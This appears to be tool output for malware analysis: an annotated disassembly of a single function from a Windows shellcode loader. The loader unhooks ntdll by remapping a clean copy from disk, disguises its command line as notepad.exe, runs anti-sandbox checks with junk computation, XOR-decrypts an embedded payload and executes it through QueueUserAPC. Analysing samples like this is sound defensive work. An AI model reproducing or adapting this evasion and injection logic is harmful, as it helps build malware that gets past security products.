Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x838
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0x7a0], xmm6
mov dword [rbp + 0x7e0], ecx
mov qword [rbp + 0x7e8], rdx
call fcn.140002a20
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x730], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x728], rax
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x720], rax
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x798], rax
cmp qword [rbp + 0x798], 0
jne 0x140001534
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x798], rax
cmp qword [rbp + 0x798], 0
je 0x1400017c2
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x570]
mov rax, qword [rbp + 0x720]
mov r10, qword [rbp + 0x798]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov rax, qword [rbp + 0x570]
mov qword [rbp + 0x718], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x710], rax
mov rax, qword [rbp + 0x710]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x708], rax
mov rax, qword [rbp + 0x708]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x700], rax
mov rax, qword [rbp + 0x718]
mov qword [rbp + 0x6f8], rax
mov rax, qword [rbp + 0x6f8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x718]
add rax, rdx
mov qword [rbp + 0x6f0], rax
mov word [rbp + 0x796], 0
jmp 0x1400017aa
mov rax, qword [rbp + 0x6f0]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x6f0]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x796]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x6e8], rax
mov rax, qword [rbp + 0x6e8]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140001799
mov dword [rbp + 0x538], 0
mov rax, qword [rbp + 0x6e8]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x6e8]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x718]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x538]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x6e8]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x6e8]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x700]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x6e8]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x718]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov edx, dword [rbp + 0x538]
mov rax, qword [rbp + 0x6e8]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x6e8]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x718]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x538]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x796]
add eax, 1
mov word [rbp + 0x796], ax
mov rax, qword [rbp + 0x6f0]
movzx eax, word [rax + 6]
cmp word [rbp + 0x796], ax
jb 0x14000166e
mov dword [rbp + 0x788], 0
mov dword [rbp + 0x6e4], 0x101
mov dword [rbp + 0x6e0], pe_nt_image_headers64
mov eax, dword [rbp + 0x6e4]
add eax, 1
cdqe
shl rax, 2
mov rcx, rax
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6d8], rax
mov dword [rbp + 0x790], 0
jmp 0x140001833
mov eax, dword [rbp + 0x790]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6d8]
add rdx, rax
mov eax, dword [rbp + 0x790]
mov dword [rdx], eax
add dword [rbp + 0x790], 1
mov eax, dword [rbp + 0x790]
cmp eax, dword [rbp + 0x6e0]
jl 0x14000180a
mov dword [rbp + 0x790], 1
jmp 0x1400018c5
mov eax, dword [rbp + 0x790]
mov dword [rbp + 0x78c], eax
jmp 0x14000189c
mov edx, dword [rbp + 0x790]
mov eax, dword [rbp + 0x78c]
add edx, eax
mov eax, dword [rbp + 0x790]
add eax, eax
add edx, eax
mov eax, dword [rbp + 0x78c]
add eax, edx
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6d8]
add rax, rdx
mov dword [rax], 0
add dword [rbp + 0x78c], 1
mov eax, dword [rbp + 0x6e0]
sub eax, dword [rbp + 0x790]
mov edx, dword [rbp + 0x790]
add edx, edx
lea esi, [rdx + 1]
cdq
idiv esi
cmp dword [rbp + 0x78c], eax
jle 0x14000185b
add dword [rbp + 0x790], 1
mov eax, dword [rbp + 0x790]
cmp eax, dword [rbp + 0x6e0]
jl 0x14000184d
cmp dword [rbp + 0x6e4], 2
jle 0x140001909
mov eax, dword [rbp + 0x788]
lea edx, [rax + 1]
mov dword [rbp + 0x788], edx
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6d8]
add rax, rdx
mov dword [rax], 2
mov dword [rbp + 0x790], 1
jmp 0x14000196d
mov eax, dword [rbp + 0x790]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6d8]
add rax, rdx
mov eax, dword [rax]
test eax, eax
je 0x140001966
mov eax, dword [rbp + 0x790]
lea ecx, [rax + rax]
mov eax, dword [rbp + 0x788]
lea edx, [rax + 1]
mov dword [rbp + 0x788], edx
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6d8]
add rax, rdx
lea edx, [rcx + 1]
mov dword [rax], edx
add dword [rbp + 0x790], 1
mov eax, dword [rbp + 0x790]
cmp eax, dword [rbp + 0x6e0]
jl 0x140001915
mov dword [rbp + 0x6d4], 2
mov dword [rbp + 0x784], 0
mov dword [rbp + 0x790], 0
jmp 0x1400019c9
mov eax, dword [rbp + 0x790]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6d8]
add rax, rdx
mov eax, dword [rax]
test eax, eax
je 0x1400019c2
add dword [rbp + 0x784], 1
add dword [rbp + 0x790], 1
mov eax, dword [rbp + 0x790]
cmp eax, dword [rbp + 0x6d4]
jl 0x14000199b
mov rax, qword [rbp + 0x6d8]
mov rcx, rax
call sub.msvcrt.dll_free
mov dword [rbp + 0x53c], 0
mov dword [rbp + 0x780], 0xffffffff
mov ecx, 0x8e8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6c8], rax
add dword [rbp + 0x780], 1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x780]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x6c8]
add rax, rdx
movsd xmm1, qword [0x140006590]
divsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x780]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x6c8]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x780]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x6c8]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_atan
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x780], 0x11b
jle 0x140001a0b
mov rax, qword [rbp + 0x730]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6c0], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x540]
lea rax, [rbp + 0x53c]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x6c0]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov rax, qword [rbp + 0x548]
add rax, 0x3c
mov qword [rbp + 0x6b8], rax
mov rax, qword [rbp + 0x6b8]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov rax, qword [rbp + 0x6b8]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6b0], rax
mov rax, qword [rbp + 0x6b0]
mov ecx, 0
call rax
mov dword [rbp + 0x6ac], eax
cmp dword [rbp + 0x6ac], 0xffffffff
je 0x14000294e
lea rax, str.occyyuluwkmyfbh.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x6a0], rax
cmp qword [rbp + 0x6a0], 0
jne 0x14000294e
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov qword [rbp + 0x698], rax
cmp qword [rbp + 0x698], 0
je 0x14000294e
mov rax, qword [rbp + 0x698]
mov edx, 0x5b5
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov dword [rbp + 0x694], eax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x688], rax
cmp qword [rbp + 0x688], 0
je 0x140001c55
mov rax, qword [rbp + 0x688]
lea rdx, str.FlsAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x680], rax
mov rax, qword [rbp + 0x680]
mov ecx, 0
call rax
mov dword [rbp + 0x77c], eax
cmp dword [rbp + 0x77c], 0xffffffff
je 0x14000294e
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x678], rax
cmp qword [rbp + 0x678], 0
jne 0x14000294e
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x670], rax
mov rax, qword [rbp + 0x670]
mov ecx, 0
call rax
mov dword [rbp + 0x66c], eax
cmp dword [rbp + 0x66c], 0xffffffff
je 0x14000294e
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x660], rax
mov rax, qword [rbp + 0x660]
mov ecx, 0
call rax
mov dword [rbp + 0x65c], eax
cmp dword [rbp + 0x65c], 0xffffffff
je 0x14000294e
lea rax, str.fvghvoclyjjf.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x650], rax
cmp qword [rbp + 0x650], 0
jne 0x14000294e
mov qword [rbp + 0x648], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAllocExNuma
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x640], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x640]
mov r9d, 0x3000
mov r8d, 0x3ba
mov edx, 0
call rax
mov qword [rbp + 0x648], rax
cmp qword [rbp + 0x648], 0
je 0x14000294e
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x638], rax
mov rax, qword [rbp + 0x638]
mov ecx, 0
call rax
mov dword [rbp + 0x634], eax
cmp dword [rbp + 0x634], 0xffffffff
je 0x14000294e
lea rax, [rbp + 0xe0]
lea rdx, [0x140006138]
mov ecx, 0x8b
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov ecx, 0x69b0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x628], rax
mov ecx, 0x69b0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x620], rax
mov ecx, 0x69b0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x618], rax
mov dword [rbp + 0x778], 0
jmp 0x140001f81
mov dword [rbp + 0x774], 0
jmp 0x140001f6d
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
mov ecx, edx
sar ecx, 6
cdq
sub ecx, edx
imul edx, ecx, 0x3e8
sub eax, edx
mov ecx, eax
mov eax, dword [rbp + 0x778]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
add rax, rdx
add rax, rax
add rax, rdx
shl rax, 4
mov rdx, rax
mov rax, qword [rbp + 0x628]
add rdx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, ecx
mov eax, dword [rbp + 0x774]
cdqe
movss dword [rdx + rax*4], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
mov ecx, edx
sar ecx, 6
cdq
sub ecx, edx
imul edx, ecx, 0x3e8
sub eax, edx
mov ecx, eax
mov eax, dword [rbp + 0x778]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
add rax, rdx
add rax, rax
add rax, rdx
shl rax, 4
mov rdx, rax
mov rax, qword [rbp + 0x620]
add rdx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, ecx
mov eax, dword [rbp + 0x774]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x774], 1
cmp dword [rbp + 0x774], 0x4b
jle 0x140001e9e
add dword [rbp + 0x778], 1
cmp dword [rbp + 0x778], 0x58
jle 0x140001e8f
mov dword [rbp + 0x778], 0
jmp 0x140002070
mov dword [rbp + 0x774], 0
jmp 0x14000205c
mov eax, dword [rbp + 0x778]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
add rax, rdx
add rax, rax
add rax, rdx
shl rax, 4
mov rdx, rax
mov rax, qword [rbp + 0x628]
add rdx, rax
mov eax, dword [rbp + 0x774]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x778]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
add rax, rdx
add rax, rax
add rax, rdx
shl rax, 4
mov rdx, rax
mov rax, qword [rbp + 0x620]
add rdx, rax
mov eax, dword [rbp + 0x774]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x778]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
add rax, rdx
add rax, rax
add rax, rdx
shl rax, 4
mov rdx, rax
mov rax, qword [rbp + 0x618]
add rdx, rax
mulss xmm0, xmm1
mov eax, dword [rbp + 0x774]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x774], 1
cmp dword [rbp + 0x774], 0x4b
jle 0x140001fac
add dword [rbp + 0x778], 1
cmp dword [rbp + 0x778], 0x58
jle 0x140001f9d
mov rax, qword [rbp + 0x628]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x620]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x618]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x728]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x610], rax
mov rax, qword [rbp + 0x728]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x608], rax
mov dword [rbp + 0x770], 0xffffffff
mov ecx, 0x1170
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x600], rax
add dword [rbp + 0x770], 1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x770]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x600]
add rax, rdx
movsd xmm1, qword [0x140006590]
divsd xmm0, xmm1
movsd qword [rax], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
pxor xmm0, xmm0
cvtsi2sd xmm0, edx
mov eax, dword [rbp + 0x770]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x600]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x770]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x600]
lea rbx, [rcx + rdx]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.140003af0
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x770], 0x22c
jle 0x140002107
mov rax, qword [rbp + 0x610]
mov r8d, 0
mov edx, 0x457
mov ecx, 0x40000
call rax
mov qword [rbp + 0x5f8], rax
mov rax, qword [rbp + 0x5f8]
mov r9, qword [rbp + 0x608]
mov r8d, 0x457
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x5f0], rax
mov rax, qword [rbp + 0x730]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5e8], rax
lea rdx, [rbp + 0xe0]
mov rax, qword [rbp + 0x5f0]
mov r9, qword [rbp + 0x5e8]
mov r8d, 0x457
mov rcx, rax
call r9
mov dword [rbp + 0x76c], 0x320
jmp 0x14000226b
sub dword [rbp + 0x76c], 1
cmp dword [rbp + 0x76c], 0x16
jg 0x140002264
mov dword [rbp + 0x764], 0
mov dword [rbp + 0x760], 0
mov ecx, 0xd14
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x5e0], rax
mov ecx, 0xd14
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x5d8], rax
mov ecx, 0xd14
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x5d0], rax
mov ecx, 0xd14
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x5c8], rax
mov dword [rbp + 0x758], 0x344
mov dword [rbp + 0x75c], 0
jmp 0x1400023f1
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x75c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x5e0]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x75c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x5d8]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x758]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x5e0]
add rax, rdx
mov edx, dword [rbp + 0x75c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x5d0]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x758]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x5d8]
add rax, rdx
mov edx, dword [rbp + 0x75c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x5c8]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x758], 1
add dword [rbp + 0x75c], 1
cmp dword [rbp + 0x75c], 0x344
jle 0x1400022e5
mov rax, qword [rbp + 0x5e0]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x5d8]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x5d0]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x5c8]
mov rcx, rax
call sub.msvcrt.dll_free
movabs rax, 0x7881e7d846de6dce
movabs rdx, 0xd1856c2b61c9a625
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
movabs rax, 0x6accc1ff858d55be
movabs rdx, 0x2db10a6343ce8023
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
movabs rax, 0xea988db7bbe162cf
movabs rdx, 0x130bc651cb9544ec
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
movabs rax, 0xe9814fb4a4130bc6
movabs rdx, 0x7530bd2edfd593
mov qword [rbp - 0x13], rax
mov qword [rbp - 0xb], rdx
movabs rax, 0x9479bfeb3a1c27bd
movabs rdx, 0x2a944cfb5ee33b1d
mov qword [rbp + 0x70], rax
mov qword [rbp + 0x78], rdx
movabs rax, 0x685b65816cb4d209
movabs rdx, 0xa8a6deee23734145
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x88], rdx
movabs rax, 0xa0fbc652cf4d4c3b
movabs rdx, 0xfb53ed69bb61488
mov qword [rbp + 0x90], rax
mov qword [rbp + 0x98], rdx
movabs rax, 0x9eaacea78cc9fdb
movabs rdx, 0x2a5a6babe2ff52d9
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0xa8], rdx
movabs rax, 0x35dd49a3cabfda7a
movabs rdx, 0xdbd1a17584566259
mov qword [rbp + 0xb0], rax
mov qword [rbp + 0xb8], rdx
movabs rax, 0x876c331c33518530
movabs rdx, 0xea995365595910ff
mov qword [rbp + 0xc0], rax
mov qword [rbp + 0xc8], rdx
movabs rax, 0xed141fc2ffea9953
movabs rdx, 0x7ca6ee74dc0a0c
mov qword [rbp + 0xcd], rax
mov qword [rbp + 0xd5], rdx
mov dword [rbp + 0x768], 0
jmp 0x140002785
movsd xmm0, qword [0x140006598]
movsd qword [rbp + 0x750], xmm0
movsd xmm0, qword [0x1400065a0]
movsd qword [rbp + 0x598], xmm0
jmp 0x1400025ef
movsd xmm0, qword [rbp + 0x598]
mov rax, qword [rbp + 0x750]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.140003cf0
movq rax, xmm0
mov qword [rbp + 0x750], rax
movsd xmm0, qword [0x1400065a8]
comisd xmm0, xmmword [rbp + 0x750]
ja 0x1400025c6
mov eax, dword [rbp + 0x768]
cdqe
movzx edx, byte [rbp + rax + 0x70]
mov eax, dword [rbp + 0x764]
cdqe
movzx eax, byte [rbp + rax - 0x40]
xor edx, eax
mov eax, dword [rbp + 0x768]
cdqe
mov byte [rbp + rax], dl
cmp dword [rbp + 0x764], 0x3b
jne 0x140002777
mov dword [rbp + 0x764], 0
mov ecx, 0xa08
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x590], rax
mov ecx, 0xa08
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x588], rax
mov dword [rbp + 0x74c], 0
jmp 0x1400026fb
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0x74c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x590]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
add dword [rbp + 0x74c], 1
cmp dword [rbp + 0x74c], 0x140
jle 0x140002671
mov dword [rbp + 0x74c], 0
jmp 0x140002769
mov eax, dword [rbp + 0x74c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x590]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x74c]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x588]
lea rbx, [rcx + rdx]
movq xmm0, rax
call fcn.140003a10
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x74c], 1
cmp dword [rbp + 0x74c], 0x140
jle 0x140002717
jmp 0x14000277e
add dword [rbp + 0x764], 1
add dword [rbp + 0x768], 1
mov eax, dword [rbp + 0x768]
cmp eax, 0x6b
jbe 0x1400025a4
mov dword [rbp + 0x768], 0
jmp 0x140002861
mov eax, dword [rbp + 0x768]
movsxd rdx, eax
mov rax, qword [rbp + 0x5f0]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x760]
cdqe
movzx ecx, byte [rbp + rax]
mov eax, dword [rbp + 0x768]
movsxd rdx, eax
mov rax, qword [rbp + 0x5f0]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
movsd xmm0, qword [0x1400065b0]
movsd qword [rbp + 0x740], xmm0
movsd xmm0, qword [0x1400065b8]
movsd qword [rbp + 0x5a0], xmm0
jmp 0x14000282c
movsd xmm0, qword [rbp + 0x5a0]
mov rax, qword [rbp + 0x740]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.140003cf0
movq rax, xmm0
mov qword [rbp + 0x740], rax
movsd xmm0, qword [0x1400065c0]
comisd xmm0, xmmword [rbp + 0x740]
ja 0x140002803
cmp dword [rbp + 0x760], 0x6b
jne 0x140002853
mov dword [rbp + 0x760], 0
jmp 0x14000285a
add dword [rbp + 0x760], 1
add dword [rbp + 0x768], 1
cmp dword [rbp + 0x768], 0x456
jle 0x1400027a3
mov rax, qword [rbp + 0x5f0]
mov qword [rbp + 0x5c0], rax
mov rax, qword [rbp + 0x728]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5b8], rax
mov dword [rbp + 0x73c], 0xffffffff
add dword [rbp + 0x73c], 1
call sub.msvcrt.dll_rand
imul eax, eax, 0x27
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006590]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.140003b20
movq rax, xmm0
mov qword [rbp + 0x5b0], rax
cmp dword [rbp + 0x73c], 0x11e
jle 0x1400028aa
mov rax, qword [rbp + 0x728]
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5a8], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0x5c0]
mov r9, qword [rbp + 0x5b8]
mov r8d, 0
mov rcx, rax
call r9
mov rax, qword [rbp + 0x5a8]
mov edx, 1
mov ecx, 0xffffffff
call rax
mov eax, 0
movups xmm6, xmmword [rbp + 0x7a0]
add rsp, 0x838
pop rbx
pop rsi
pop rdi
pop rbp
ret